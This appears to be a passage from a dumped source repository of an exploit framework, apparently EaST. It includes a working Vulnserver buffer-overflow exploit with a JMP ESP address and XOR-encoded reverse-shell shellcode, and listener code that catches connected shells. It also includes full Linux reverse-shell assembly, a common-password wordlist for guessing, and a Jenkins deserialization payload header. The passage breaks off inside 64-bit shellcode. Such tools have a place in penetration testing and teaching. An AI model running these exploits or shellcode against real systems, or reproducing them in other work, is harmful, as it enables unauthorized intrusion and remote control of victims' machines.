encoded += struct.pack('>B', Constants.TC_BLOCKDATA)\n    elif content.__class__ is BlockDataLong:\n        encoded += struct.pack('>B', Constants.TC_BLOCKDATALONG)\n    elif content.__class__ is EndBlockData:\n        encoded += struct.pack('>B', Constants.TC_ENDBLOCKDATA)\n    elif content.__class__ is NewObject:\n        encoded += struct.pack('>B', Constants.TC_OBJECT)\n    elif content.__class__ is NewClass:\n        encoded += struct.pack('>B', Constants.TC_CLASS)\n    elif content.__class__ is NewArray:\n        encoded += struct.pack('>B', Constants.TC_ARRAY)\n    elif content.__class__ is Utf:\n        encoded += struct.pack('>B', Constants.TC_STRING)\n    elif content.__class__ is LongUtf:\n        encoded += struct.pack('>B', Constants.TC_LONGSTRING)\n    elif content.__class__ is NewEnum:\n        encoded += struct.pack('>B', Constants.TC_ENUM)\n    elif content.__class__ is NewClassDesc:\n        encoded += struct.pack('>B', Constants.TC_CLASSDESC)\n    elif content.__class__ is ProxyClassDesc:\n        encoded += struct.pack('>B', Constants.TC_PROXYCLASSDESC)\n    elif content.__class__ is NullReference:\n        encoded += struct.pack('>B', Constants.TC_NULL)\n    elif content.__class__ is Reset:\n        encoded += struct.pack('>B', Constants.TC_RESET)\n    elif content.__class__ is Reference:\n        encoded += struct.pack('>B', Constants.TC_REFERENCE)\n    else:\n        raise Exception('Failed to serialize content')\n    encoded += content.encode()\n    return encoded\n\ndef print_content(content):\n    ret = ''\n    if content.__class__ is BlockData:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is BlockDataLong:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is EndBlockData:\n        ret += print_class(content)\n    elif content.__class__ is NewObject:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is ClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewClass:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewArray:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is Utf:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is LongUtf:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewEnum:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NewClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is ProxyClassDesc:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    elif content.__class__ is NullReference:\n        ret += print_class(content)\n    elif content.__class__ is Reset:\n        ret += print_class(content)\n    elif content.__class__ is Reference:\n        ret += \"%s {%s}\" % (print_class(content), str(content))\n    else:\n        raise Exception('Failed to serialize content')\n    return ret\n\ndef print_class(content):\n    return content.__class__.__name__\n\n\n\ndef get_key_by_value(dictionary, search_value):\n    for key, value in dictionary.iteritems():\n        if value == search_value:\n            return key\n    raise Exception(\"There is no selected element in dictionary\")\n"
  },
  {
    "path": "core/helpers/java/__init__.py",
    "content": ""
  },
  {
    "path": "core/passwords.txt",
    "content": "123456\npassword\n12345678\n1234\npussy\n12345\ndragon\nqwerty\n696969\nmustang\nletmein\nbaseball\nmaster\nmichael\nfootball\nshadow\nmonkey\nabc123\npass\nfuckme\n6969\njordan\nharley\nranger\niwantu\njennifer\nhunter\nfuck\n2000\ntest\nbatman\ntrustno1\nthomas\ntigger\nrobert\naccess\nlove\nbuster\n1234567\nsoccer\nhockey\nkiller\ngeorge\nsexy\nandrew\ncharlie\nsuperman\nasshole\nfuckyou\ndallas\njessica\npanties\npepper\n1111\naustin\nwilliam\ndaniel\ngolfer\nsummer\nheather\nhammer\nyankees\njoshua\nmaggie\nbiteme\nenter\nashley\nthunder\ncowboy\nsilver\nrichard\nfucker\norange\nmerlin\nmichelle\ncorvette\nbigdog\ncheese\nmatthew\n121212\npatrick\nmartin\nfreedom\nginger\nblowjob\nnicole\nsparky\nyellow\ncamaro\nsecret\ndick\nfalcon\ntaylor\n111111\n131313\n123123\nbitch\nhello\nscooter\nplease\nporsche\nguitar\nchelsea\nblack\ndiamond\nnascar\njackson\ncameron\n654321\ncomputer\namanda\nwizard\nxxxxxxxx\nmoney\nphoenix\nmickey\nbailey\nknight\niceman\ntigers\npurple\nandrea\nhorny\ndakota\naaaaaa\nplayer\nsunshine\nmorgan\nstarwars\nboomer\ncowboys\nedward\ncharles\ngirls\nbooboo\ncoffee\nxxxxxx\nbulldog\nncc1701\nrabbit\npeanut\njohn\njohnny\ngandalf\nspanky\nwinter\nbrandy\ncompaq\ncarlos\ntennis\njames\nmike\nbrandon\nfender\nanthony\nblowme\nferrari\ncookie\nchicken\nmaverick\nchicago\njoseph\ndiablo\nsexsex\nhardcore\n666666\nwillie\nwelcome\nchris\npanther\nyamaha\njustin\nbanana\ndriver\nmarine\nangels\nfishing\ndavid\nmaddog\nhooters\nwilson\nbutthead\ndennis\nfucking\ncaptain\nbigdick\nchester\nsmokey\nxavier\nsteven\nviking\nsnoopy\nblue\neagles\nwinner\nsamantha\nhouse\nmiller\nflower\njack\nfirebird\nbutter\nunited\nturtle\nsteelers\ntiffany\nzxcvbn\ntomcat\ngolf\nbond007\nbear\ntiger\ndoctor\ngateway\ngators\nangel\njunior\nthx1138\nporno\nbadboy\ndebbie\nspider\nmelissa\nbooger\n1212\nflyers\nfish\nporn\nmatrix\nteens\nscooby\njason\nwalter\ncumshot\nboston\nbraves\nyankee\nlover\nbarney\nvictor\ntucker\nprincess\nmercedes\n5150\ndoggie\nzzzzzz\ngunner\nhorney\nbubba\n2112\nfred\njohnson\nxxxxx\ntits\nmember\nboobs\ndonald\nbigdaddy\nbronco\npenis\nvoyager\nrangers\nbirdie\ntrouble\nwhite\ntopgun\nbigtits\nbitches\ngreen\nsuper\nqazwsx\nmagic\nlakers\nrachel\nslayer\nscott\n2222\nasdf\nvideo\nlondon\n7777\nmarlboro\nsrinivas\ninternet\naction\ncarter\njasper\nmonster\nteresa\njeremy\n11111111\nbill\ncrystal\npeter\npussies\ncock\nbeer\nrocket\ntheman\noliver\nprince\nbeach\namateur\n7777777\nmuffin\nredsox\nstar\ntesting\nshannon\nmurphy\nfrank\nhannah\ndave\neagle1\n11111\nmother\nnathan\nraiders\nsteve\nforever\nangela\nviper\nou812\njake\nlovers\nsuckit\ngregory\nbuddy\nwhatever\nyoung\nnicholas\nlucky\nhelpme\njackie\nmonica\nmidnight\ncollege\nbaby\ncunt\nbrian\nmark\nstartrek\nsierra\nleather\n232323\n4444\nbeavis\nbigcock\nhappy\nsophie\nladies\nnaughty\ngiants\nbooty\nblonde\nfucked\ngolden\n0\nfire\nsandra\npookie\npackers\neinstein\ndolphins\n0\nchevy\nwinston\nwarrior\nsammy\nslut\n8675309\nzxcvbnm\nnipples\npower\nvictoria\nasdfgh\nvagina\ntoyota\ntravis\nhotdog\nparis\nrock\nxxxx\nextreme\nredskins\nerotic\ndirty\nford\nfreddy\narsenal\naccess14\nwolf\nnipple\niloveyou\nalex\nflorida\neric\nlegend\nmovie\nsuccess\nrosebud\njaguar\ngreat\ncool\ncooper\n1313\nscorpio\nmountain\nmadison\n987654\nbrazil\nlauren\njapan\nnaked\nsquirt\nstars\napple\nalexis\naaaa\nbonnie\npeaches\njasmine\nkevin\nmatt\nqwertyui\ndanielle\nbeaver\n4321\n4128\nrunner\nswimming\ndolphin\ngordon\ncasper\nstupid\nshit\nsaturn\ngemini\napples\naugust\n3333\ncanada\nblazer\ncumming\nhunting\nkitty\nrainbow\n112233\narthur\ncream\ncalvin\nshaved\nsurfer\nsamson\nkelly\npaul\nmine\nking\nracing\n5555\neagle\nhentai\nnewyork\nlittle\nredwings\nsmith\nsticky\ncocacola\nanimal\nbroncos\nprivate\nskippy\nmarvin\nblondes\nenjoy\ngirl\napollo\nparker\nqwert\ntime\nsydney\nwomen\nvoodoo\nmagnum\njuice\nabgrtyu\n777777\ndreams\nmaxwell\nmusic\nrush2112\nrussia\nscorpion\nrebecca\ntester\nmistress\nphantom\nbilly\n6666\nalbert\n"
  },
  {
    "path": "data/CVE-2015-8103/serialized_payload_header",
    "content": "<===[JENKINS REMOTING CAPACITY]===>"
  },
  {
    "path": "data/report_templates/common.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <title>Report</title>\n    <style>\n        .succeeded {\n            background-color: #8FFC81;\n        }\n        .failed {\n            background-color: #FA7D7F;\n        }\n        .category_row {\n            left: 40px;\n            position: relative;\n        }\n        .entry {\n            font-weight: bold;\n            margin-top: 10px;\n        }\n        .categoryName {\n            font-size:26px;\n            font-weight: bold;\n        }\n        .commonInfo {\n            font-size: 26px;\n            font-weight: bold;\n        }\n    </style>\n</head>\n<body>\n<div class=\"commonInfo\">\n    <p>Server was started at: %s</p>\n    <p>Succeeded modules: %s</p>\n    <p>Failed modules: %s</p>\n</div>\n%s\n</body>\n</html>"
  },
  {
    "path": "data/report_templates/row_template.html",
    "content": " <div class=\"category_row {CLASS}\">\n    <div class=\"entry\" style=\"font-size:22px;\">Name: {MODULE_NAME} ({IS_SUCCESS})</div>\n    <div class=\"entry\" style=\"font-size:20px;\">Description: </div>{DESCRIPTION}\n    <div class=\"entry\">Notes:</div>{NOTES}\n    {OPTIONS}\n    {LISTENER}\n    <div class=\"entry\">Module out:</div>{LOG}\n    <!-- <div>Shell connected:</div> {IS_SHELL_CONNECTED} -->\n    <div class=\"entry\">Cve: <a href=\"https://www.google.com/search?q=CVE-{CVE}\" target=\"_blank\">{CVE}</a></div>\n    <br>\n    <hr>\n</div>"
  },
  {
    "path": "docs/files/template.py",
    "content": "#!/usr/bin/env python\n\n#IMPORTS SECTION\nfrom collections import OrderedDict  # for rigth options order\nfrom Sploit import Sploit  # base class for module\n#INFO SECTION\nINFO = {}\nINFO['NAME'] = ''  # Module name\nINFO['DESCRIPTION'] = ''  # Short description of vulnerability\nINFO['VENDOR'] = ''  # Vulnerable soft vendor's homepage\nINFO['CVE Name'] = ''  # CVE if exists(like 2017-9999)\nINFO['NOTES'] = \"\"\" \"\"\"  # Full description of vulnerability\nINFO['DOWNLOAD_LINK'] = ''  # Link to vulnerable soft\nINFO['LINKS'] = []  # Some helpful links(like exploit's page on exploit-db or link to some article)\nINFO['CHANGELOG'] = ''  # Usually it's exploit writing date\nINFO['PATH'] = 'General/'  # Virtual path of module. It used by module tree in GUI\n\n# OPTIONS SECTION\nOPTIONS = OrderedDict()\nOPTIONS['HOST'] = '127.0.0.1'\nOPTIONS['PORT'] = 9999\n\n\nclass exploit(Sploit):\n    def __init__(self,host=\"\",\n                port=0, ssl=False,\n                logger=None):\n        Sploit.__init__(self, logger=logger)\n\n    def args(self):\n        self.args = Sploit.args(self, OPTIONS)\n\n    def run(self):\n        #Get options from gui\n        self.args()\n        #YOUR CODE\n\n        ##########\n        self.finish(True)\n\n\nif __name__ == '__main__':\n    print \"Running exploit %s .. \" % INFO['NAME']\n    e = exploit(\"192.168.0.1\", 80)\n    e.run()\n"
  },
  {
    "path": "docs/files/vulnserver_bof/vulnserver_buffer_overflow.py",
    "content": "#!/usr/bin/env python\n\n#IMPORTS SECTION\nfrom collections import OrderedDict  # for rigth options order\nfrom Sploit import Sploit  # base class for module\nimport socket\nfrom shellcodes.Shellcodes import OSShellcodes\nfrom shellcodes.ShellUtils import Constants\n#INFO SECTION\nINFO = {}\nINFO['NAME'] = 'vulnserver_buffer_overflow'  # Module name\nINFO['DESCRIPTION'] = 'Vulnserver Stack-Based Buffer Overflow'  # Short description of vulnerability\nINFO['VENDOR'] = 'http://www.thegreycorner.com/2010/12/introducing-vulnserver.html'  # Vulnerable soft vendor's homepage\nINFO['CVE Name'] = ''  # CVE if exists(like 2017-9999)\nINFO['NOTES'] = \"\"\" \"\"\"  # Full description of vulnerability\nINFO['DOWNLOAD_LINK'] = 'http://sites.google.com/site/lupingreycorner/vulnserver.zip'  # Link to vulnerable soft\nINFO['LINKS'] = ['http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-introduction',\n                 'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-2-exploiting-the-stack-overflow/',\n                 'http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-3-%E2%80%94-adding-shellcode']  # Some helpful links(like exploit's page on exploit-db or link to some article)\nINFO['CHANGELOG'] = '17 Apr 2017'  # Usually used for exploit writing date\nINFO['PATH'] = 'Tutorials/'  # Virtual path of module. It used in module tree in GUI\n\n# OPTIONS SECTION\nOPTIONS = OrderedDict()\nOPTIONS['HOST'] = '192.168.1.176'\nOPTIONS['PORT'] = 9999\nOPTIONS['CONNECTBACK_IP'] = '192.168.1.32'\n\n\nclass exploit(Sploit):\n    def __init__(self,host=\"\",\n                port=0, ssl=False,\n                logger=None):\n        Sploit.__init__(self, logger=logger)\n\n    def args(self):\n        self.args = Sploit.args(self, OPTIONS)\n        self.host = self.args.get('HOST', OPTIONS['HOST'])\n        self.port = self.args.get('PORT', OPTIONS['PORT'])\n        self.connectback_ip = self.args.get('CONNECTBACK_IP', OPTIONS['CONNECTBACK_IP'])\n        if self.args['listener']:\n            self.listener_port = self.args['listener']['PORT']\n        else:\n            self.log('[-] Please enable listener')\n            self.finish(False)\n\n    def generate_shellcode(self):\n        badchars = ['\\x00', '\\x0a', '\\x0d'] # badchars\n        sc = OSShellcodes(Constants.OS.WINDOWS,\n                          Constants.OS_ARCH.X32,\n                          self.connectback_ip,\n                          self.listener_port,\n                          badchars)\n        shell = sc.create_shellcode(\n            Constants.ShellcodeConnection.REVERSE,  # tcp connect back shellcode\n            encode=Constants.EncoderType.XOR # Encoding to remove badchars\n            )\n        return shell\n\n    def run(self):\n        #Get options from gui\n        self.args()\n        #YOUR CODE\n        sock = socket.socket()\n        sock.connect((self.host, self.port))  # connects to vulnserver.exe\n        payload = 'TRUN .'\n        payload += 'A' * 2006\n        payload += '\\xAF\\x11\\x50\\x62'  # essfunc.dll JMP ESP(0x625011AF)\n        payload += '\\x90' * 16 # 16 NOPs\n        payload += self.generate_shellcode()\n        sock.sendall(payload)\n        ##########\n        self.finish(True)\n\n\nif __name__ == '__main__':\n    print \"Running exploit %s .. \" % INFO['NAME']\n    e = exploit(\"192.168.0.1\", 80)\n    e.run()\n"
  },
  {
    "path": "docs/index.html",
    "content": "<!DOCTYPE html>\n<html>\n<head>\n\t<title>EaST Tutorials</title>\n\t<script type=\"text/javascript\" src='js/bootstrap.min.js'></script>\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"css/bootstrap.min.css\">\n</head>\n<body>\n<div class=\"panel panel-default\">\n  <div class=\"panel-heading\">Bootstrap test</div>\n  <div class=\"panel-body\">\n    Bootstrap test\n  </div>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "help/README.txt",
    "content": "     "
  },
  {
    "path": "listener/__init__.py",
    "content": ""
  },
  {
    "path": "listener/bind_connector.py",
    "content": "import socket\nimport asyncore\nimport os, sys\nimport select\nimport errno\nfrom websocket import create_connection\nfrom Commands import APIClient\nimport json\n\nclass TCPBindConnector(asyncore.dispatcher):\n    def __init__(self):\n        asyncore.dispatcher.__init__(self)\n        self.__module_name = sys.argv[-1]\n        self.wsport = 49999\n        self.connection = create_connection(\"ws://%s:%s\" % (\"127.0.0.1\", self.wsport))\n        self.api = APIClient(self.connection)\n        self.pid = os.getpid()\n        self.hello()\n        self.run()\n\n    def handle_connect(self):\n        self.send_message(\"Connection to %s:%s succeeded\" % (self.host, self.port), 1)\n\n    def handle_close(self):\n        self.send_message(\"\\nShell was disconnected\", 2)\n        self.connection.close()\n        self.close()\n        sys.exit(1)\n\n    def handle_read(self):\n        data = self.recv_all()\n        if data:\n            self.send_message(data, 1)\n\n    def recv_all(self, chunk=4096):\n        buffer = []\n        while 1:\n            try:\n                data = self.recv(chunk)\n                if not data:\n                    break\n                buffer.append(data)\n            except socket.error, e:\n                err = e.args[0]\n                if err == errno.EAGAIN or err == errno.EWOULDBLOCK:\n                    #  There is no data\n                    break\n        return \"\".join(buffer)\n\n    def handle_write(self):\n        res = select.select([self.connection.sock], [], [], 0.2)\n        if not res[0]:\n            return\n        resp = json.loads(self.connection.recv())\n        command = resp.get('message')\n        if not command:\n            return\n        self.send(command+\"\\n\")\n\n    def hello(self):\n        self.api.hello(self.__module_name, 'listener')\n\n    def run(self):\n        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n        options = self.get_options()\n        self.host = options.get('HOST')\n        self.port = options.get('PORT')\n        self.send_message('Trying to connect to %s:%s' % (self.host, self.port))\n        self.connect((self.host, self.port))\n\n    def get_options(self):\n        resp = self.api.send_command('get_listener_options', module_name=self.__module_name)\n        return resp\n\n    def send_message(self, message, state=0):\n        ''' Listener message to gui\n        :param message: Message from shell\n        :param state: 0 - shell is not connected\n                      1 - shell connected\n                      2 - shell disconnected\n        '''\n        self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state)\n\n    def recv_command(self):\n        data = self.connection.recv()\n        data = json.loads(data)\n        return data.get('message')\n\nif __name__==\"__main__\":\n    server = TCPBindConnector()\n    asyncore.loop()\n"
  },
  {
    "path": "listener/listener.py",
    "content": "# -*- coding: utf-8 -*-\nimport Queue\nimport sys, os\nimport asyncore\nimport socket\nimport json\nimport logging\nimport errno\nimport time\nfrom websocket import create_connection\nimport select\nfrom Commands import APIClient\n\n\nclass ListenerHandler(asyncore.dispatcher):\n    def __init__(self, sock, listener):\n        asyncore.dispatcher.__init__(self, sock)\n        self.listener = listener\n\n    def handle_read(self):        \n        data = self.recv_all()\n        if data:\n            self.listener.send_message(data, 1)\n\n    def recv_all(self, chunk=4096):\n        buffer = []\n        while 1:\n            try:\n                data = self.recv(chunk)\n                if not data:\n                    break\n                buffer.append(data)\n            except socket.error, e:\n                err = e.args[0]\n                if err == errno.EAGAIN or err == errno.EWOULDBLOCK:\n                    #  There is no data\n                    break\n        return \"\".join(buffer)\n\n    def handle_write(self):\n        res = select.select([self.listener.connection.sock], [], [], 0.2)\n        if not res[0]:\n            return\n        resp = json.loads(self.listener.connection.recv())\n        self.listener.logger.info(\"Recieved: \" + str(resp))\n        command = resp.get('message')\n        if not command:\n            return\n        self.send(command+\"\\n\")\n\n    def handle_close(self):\n        self.listener.send_message(\"\\nShell was disconnected\", 2)\n        self.listener.logger.info(\"Shell was disconnected\")\n        self.listener.connection.close()\n        self.close()\n        self.listener.close()\n        sys.exit(1)\n\n\nclass Listener(asyncore.dispatcher):\n    def __init__(self):\n        self.__module_name = sys.argv[-1]\n        asyncore.dispatcher.__init__(self)\n        self.logger = logging.getLogger()\n        self.logger.setLevel(logging.INFO)\n        formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')\n        fh = logging.FileHandler('Logs/listener.log')\n        fh.setLevel(logging.INFO)\n        fh.setFormatter(formatter)\n        self.logger.addHandler(fh)\n        self.pid = os.getpid()\n        self.host = '0.0.0.0'\n        self.port = 5555\n        self.wsport = 49999\n        self.handler = None\n        self.connection = create_connection(\"ws://%s:%s\" % (\"127.0.0.1\", self.wsport))\n        self.api = APIClient(self.connection)\n        self.hello()\n        self.run()\n\n    def run(self):\n        options = {}\n        options = self.get_options()\n        self.port = options.get('PORT', self.port)\n        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.set_reuse_addr()\n        try:\n            self.bind((self.host, self.port))\n        except socket.error as msg:\n            self.logger.error('Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1])\n            sys.exit()\n        self.listen(1)\n        self.send_message(\"Listening on %s:%s\" % (self.host, str(self.port)))\n\n    def handle_accept(self):\n        if self.handler:\n            return \n        pair = self.accept()\n        if pair is not None:\n            sock, addr = pair\n            self.shell_addr = repr(addr)\n            self.send_message(\"Shell connected to %s\" % self.shell_addr, 1)\n            self.handler = ListenerHandler(sock, self)\n\n\n    def send_message(self, message, state=0):\n        ''' Listener message to gui\n        :param message: Message from shell\n        :param state: 0 - shell is not connected\n                      1 - shell connected\n                      2 - shell disconnected\n        '''\n        self.logger.info((\"Listener PID = %s\" % self.pid) + message)\n        self.api.send_command('on_listener_message', message=message, module_name=self.__module_name, state=state)\n\n    def get_options(self):\n        resp = self.api.send_command('get_listener_options', module_name=self.__module_name)\n        self.logger.debug(resp)\n        return resp\n\n    def hello(self):\n        self.api.hello(self.__module_name, 'listener')\n\nif __name__==\"__main__\":\n    server = Listener()\n    asyncore.loop()\n"
  },
  {
    "path": "shellcodes/Asm.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom ctypes import *\nfrom ShellUtils import *\n\n\nclass ShellGenerator:\n    def __init__(self, OS_TARGET, OS_TARGET_ARCH):\n        self.os_target = OS_TARGET\n        self.target = None\n        if OS_TARGET == Constants.OS.WINDOWS:\n            self.target = WindowsShellcodes(OS_TARGET_ARCH)\n        elif OS_TARGET == Constants.OS.LINUX:\n            self.target = LinuxShellcodes(OS_TARGET_ARCH)\n        else:\n            print(\"OS '%s' is not supported\" % OS_TARGET)\n            return\n        self.OS_TARGET_ARCH = OS_TARGET_ARCH\n    \n    def get_shellcode(self, type, message=\"\", connectback_ip=\"127.0.0.1\", connectback_port=5555, command=\"\", make_exe=0, debug=0, filename=\"\", dll_inj_funcs=[]):\n        if not self.target:\n            print(\"Generating shellcodes for '%s' OS is not supported\" % self.os_target)\n            return None\n        if type not in self.target.shell_types:\n            print(\"There no shellcodes of type '%s' for system %s\" % (type, self.target_os))\n            return None\n        code = \"\"\n        need_to_build = False\n\n\n        if type == \"message\":\n            code = self.target.message(message)\n        elif type == \"reverse\":\n            if not connectback_ip or not connectback_port:\n                print \"You must specify connectback params\"\n                return None\n            code = self.target.reverse(connectback_ip, connectback_port)\n        elif type == \"command\":\n            code = self.target.command(command)\n        else:\n            return None\n\n\n        shell, filepath = create_shellcode(code, self.os_target, self.OS_TARGET_ARCH, make_exe, debug, filename, dll_inj_funcs)\n        return shell, filepath\n\n\nclass LinuxShellcodes():\n    \"\"\"\n        Class with shellcodes (asm language)\n    \"\"\"\n    def __init__(self, OS_TARGET_ARCH):\n        self.shell_types = [\"message\", \"reverse\"]\n        self.target_os = \"LINUX\"\n        self.OS_TARGET_ARCH = OS_TARGET_ARCH\n\n    def message(self, message=''):\n        \"\"\"\n            Get simple asm code for Linux\n        \"\"\"\n\n        if not message:\n            message = 'hello'\n\n        code = \"\"\"\nBITS OS_TARGET_ARCH\n\njmp short one\n\ntwo:\n    pop ecx         ;get the address of the string from the stack\n\n    xor eax, eax    ;clean up the registers\n    mov al, 4       ;syscall write\n\n    xor ebx, ebx\n    inc ebx         ;stdout is 1\n    xor edx,edx\n    mov dl, LENGTH      ;length of the string\n    int 0x80\n\n    mov al, 1       ;exit the shellcode\n    dec ebx\n    int 0x80\n\none:\n    call two        ;jump to avoid null-bytes\n    db 'MESSAGE', 0x0a, 0x0d\n\"\"\"\n\n        if self.OS_TARGET_ARCH == '32bit':\n            code = code.replace(\"OS_TARGET_ARCH\", \"32\")\n        elif self.OS_TARGET_ARCH == '64bit':\n            code = code.replace(\"OS_TARGET_ARCH\", \"64\")\n            code = code.replace(\"ecx\", \"rcx\")\n        else:\n            print \"Format: %s is not supported\" % self.OS_TARGET_ARCH\n            return\n\n        code = code.replace(\"MESSAGE\", message)\n        code = code.replace(\"LENGTH\", str(len(message)))\n        return code\n\n    def reverse(self, connectback_ip, connectback_port):\n        \"\"\"\n            Get reverse shellcode for Linux\n        \"\"\"\n\n        # Reverse engineering\n        # $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357\n        # execve(\"/usr/bin/nc\", [\"nc\", \"127.0.0.1\", \"12357\"], [/* 59 vars */]) = 0\n        # socket(PF_NETLINK, SOCK_RAW, 0)         = 3\n        # bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0\n        #\n        # Here is a part we were looking for:\n        #\n        # socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3\n        # connect(\n        #   3,\n        #   {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr(\"127.0.0.1\")},\n        #   16\n        # ) = -1 EINPROGRESS (Operation now in progress)\n\n        if not connectback_ip or not connectback_port:\n            print \"You must specify some params\"\n            return None\n\n        code = \"\"\n        if self.OS_TARGET_ARCH == '32bit':\n            code = \"\"\"\nBITS 32\n\nglobal _start\n\n_start:\n    ;    =============================== SOCKET =====================================\n    ;    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3\n    ;\n    ;    int socket(int domain, int type, int protocol);\n    ;\n    ;    int socketcall(int call, unsigned long *args)\n    ;    socketcall    SYS_SOCKET      socket() args\n    ;    EAX           EBX             ECX\n    ;    102           1               (2, 1, 6)\n    ;\n    ;    SYS_SOCKET will return file descriptor (fd) in EAX.\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 1               ; SYS_SOCKET socket()\n\n    ; ECX\n    xor ecx, ecx\n    push ecx\n    push BYTE 6             ; IPPROTO_TCP   ||      int protocol);\n    push BYTE 1             ; SOCK_STREAM   ||      int type,\n    push BYTE 2             ; AF_INET       || socket(int domain,\n    mov ecx, esp            ; ECX - PTR to arguments for socket()\n    int 0x80                ; sockfd will be stored in EAX after this call\n\n    ; EAX return\n    mov esi, eax            ; save socket fd in ESI for later\n\n    ;\n    ; =============================== CONNECT =====================================\n    ;\n    ; connect(\n    ;   3,\n    ;   {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr(\"127.0.0.1\")},\n    ;   16\n    ; ) = -1 EINPROGRESS (Operation now in progress)\n    ;\n    ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);\n    ;\n\n    jmp short call_get_ip_and_port\n\nback2shellcode:\n    pop edi                 ; getting ip and port address from ESP\n\n    ; EAX\n    xor eax, eax\n    mov al, 102             ; socketcall\n\n    ; EBX\n    xor ebx, ebx\n    mov bl, 3               ; SYS_CONNECT connect()\n\n    ; ECX\n    xor edx, edx\n    ;    push edx                ; 0.0.0.0 - ALL interfaces\n    ;    push DWORD 0x0100007f   ; 127.0.0.1 in reverse  *** CONTAINS NULLs ! ***\n    ;    push DWORD 0x0101a8c0   ; 192.168.1.1 in reverse\n    push DWORD [edi]    ; push IP\n    push WORD [edi+0x4] ; push port\n    dec ebx                     ; decrease bl from 3 to 2 to use it in the next push\n    push WORD bx                ; 2 - AF_INET\n    inc ebx                     ; put back bl to 3 for SYS_CONNECT\n    mov ecx, esp                ; ptr to struct sockaddr\n\n    push BYTE 16                ;   socklen_t addrlen);\n    push ecx                    ;   const struct sockaddr *addr,\n    push esi                    ; connect(int sockfd,\n    mov ecx, esp                ; ECX = PTR to arguments for connect()\n    int 0x80                    ; sockfd will be in EBX\n\n    ;\n    ; =============================== DUP FD =====================================\n    ;\n    ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)\n    ; to a client. For this, we can dup2 syscall to duplicate a file descriptor.\n    ; man 2 dup2\n    ; int dup2(int oldfd,           int newfd);\n    ; EAX,          EBX,            ECX\n    ; 63            sockfd          0\n    ; 63            sockfd          1\n    ; 63            sockfd          2\n    ;\n\n    ; move our sockfd to EAX\n    mov eax, ebx\n\n    xor eax, eax\n    mov al, 63              ; dup2 syscall\n    xor ecx, ecx            ; 0 - stdin\n    int 0x80                ; call dup2(sockfd, 0)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 1               ; 1 - stdout\n    int 0x80                ; call dup2(sockfd, 1)\n\n    mov al, 63              ; dup2 syscall\n    mov cl, 2               ; 2 - stderr\n    int 0x80                ; call dup2(sockfd, 2)\n\n    ;\n    ; =============================== EXECVE =====================================\n    ;\n    ; Now as we forwarded sockfd to a client, we can spawn shell.\n    ; Prepare the path, in little-endian, using the Python\n    ; >>> '//bin/sh'[::-1].encode('hex')\n    ; '68732f6e69622f2f'\n    ;\n    ; int execve(const char *filename, char *const argv[], char *const envp[]);\n    ; EAX           EBX,                    ECX,            EDX\n    ; 11            '//bin/sh'              PTR to EBX      NULL\n\n    ; EAX\n    xor eax, eax\n    mov al, 11              ; execve syscall\n\n    ; EBX\n    xor edx, edx\n    push edx                ; NULL termination of '//bin/sh' string\n    push 0x68732f6e         ; '//bin/sh' in reverse\n    push 0x69622f2f         ; beginning of '//bin/sh' string is here\n    mov ebx, esp            ; put the address of '//bin/sh' into ebx via esp\n\n    ; ECX\n    push edx                ; NULL termination of a stack\n    push ebx                ; load our '//bin/sh' on a stack\n    mov ecx, esp            ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.\n\n    ; EDX\n    push edx                ; NULL terminator\n    mov edx, esp            ; EDX is a PTR to a stack which has an address to NULL.\n    int 0x80                ; call execve(EBX, ECX, EDX)\n\ncall_get_ip_and_port:\n    call back2shellcode\n\n    ;    dd 0x0101a8c0                  ; Example: DWORD 192.168.1.1 reverse (in hex)\n    ;    db 0xc0, 0xa8, 0x01, 0x01      ; Example: BYTE 192.168.1.1 straight (in hex)\n    db CONNECTBACK_IP\n\n    ;    dw 0x4530                      ; Example: WORD 12357 reverse (in hex)\n    ;    db 0x30, 0x45                  ; Example: BYTE 12357 straight (in hex)\n    db CONNECTBACK_PORT\n\"\"\"\n\n            connectback_ip_hex = ''\n            for i in connectback_ip.split('.'):\n                connectback_ip_hex += '0x' + '{:02X}'.format(int(i)) + ', '\n            connectback_ip_hex = connectback_ip_hex[:-2]\n\n            connectback_port_hex = '0x' + '{:04X}'.format(connectback_port)[:-2] + ', '\n            connectback_port_hex += '0x' + '{:04X}'.format(connectback_port)[-2:]\n\n        elif self.OS_TARGET_ARCH == '64bit':\n            code = \"\"\"\nBITS 64\nglobal _start\n\n; settings\n;IP          equ 